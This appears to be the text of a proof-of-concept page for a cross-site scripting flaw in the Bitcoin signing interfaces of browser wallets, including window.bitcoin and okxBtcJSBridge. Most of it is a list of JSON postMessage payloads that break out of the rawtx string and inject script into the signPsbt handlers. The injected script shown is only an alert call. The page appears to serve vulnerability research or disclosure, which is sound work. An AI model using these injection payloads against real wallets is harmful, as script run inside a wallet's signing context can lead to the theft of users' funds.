🚨 Bitcoin XSS PoC

Testing bundle.data XSS vulnerability across all Bitcoin JavaScript interfaces
🎯 Attack Vector: bundle.data XSS
This PoC exploits the XSS vulnerability where user-controlled data from the rawtx field in postMessage gets stored in bundle.data and directly concatenated into JavaScript without sanitization in multiple Bitcoin protocol handlers.
window.bitcoin (Main Bitcoin Interface)
🔸 signPsbt Method (XSS via bundle.data)
{ "id": "123", "name": "pushPsbt", "object": { "rawtx": "\"); alert('XSS via window.bitcoin.signPsbt!'); //" } }
🔸 signPsbts Method (XSS via bundle.data)
{ "id": "123", "name": "pushPsbt", "object": { "rawtx": "\"); alert('XSS via window.bitcoin.signPsbts!'); //" } }
🔸 Default Case (XSS via bundle.data)
{ "id": "123", "name": "pushPsbt", "object": { "rawtx": "\"); alert('XSS via window.bitcoin.default!'); //" } }
window.bitcoinTestnet (Testnet Interface)
🔸 signPsbt Method (XSS via bundle.data)
{ "id": "123", "name": "pushPsbt", "object": { "rawtx": "\"); alert('XSS via window.bitcoinTestnet.signPsbt!'); //" } }
window.bitcoinSignet (Signet Interface)
🔸 signPsbt Method (XSS via bundle.data)
{ "id": "123", "name": "pushPsbt", "object": { "rawtx": "\"); alert('XSS via window.bitcoinSignet.signPsbt!'); //" } }
window.okxBtcJSBridge (Fractal Bitcoin Interface)
🔸 signPsbt Method (XSS via bundle.data)
{ "id": "123", "name": "pushPsbt", "object": { "rawtx": "\"); alert('XSS via window.okxBtcJSBridge.signPsbt!'); //" } }
Ready to test Bitcoin XSS vulnerabilities...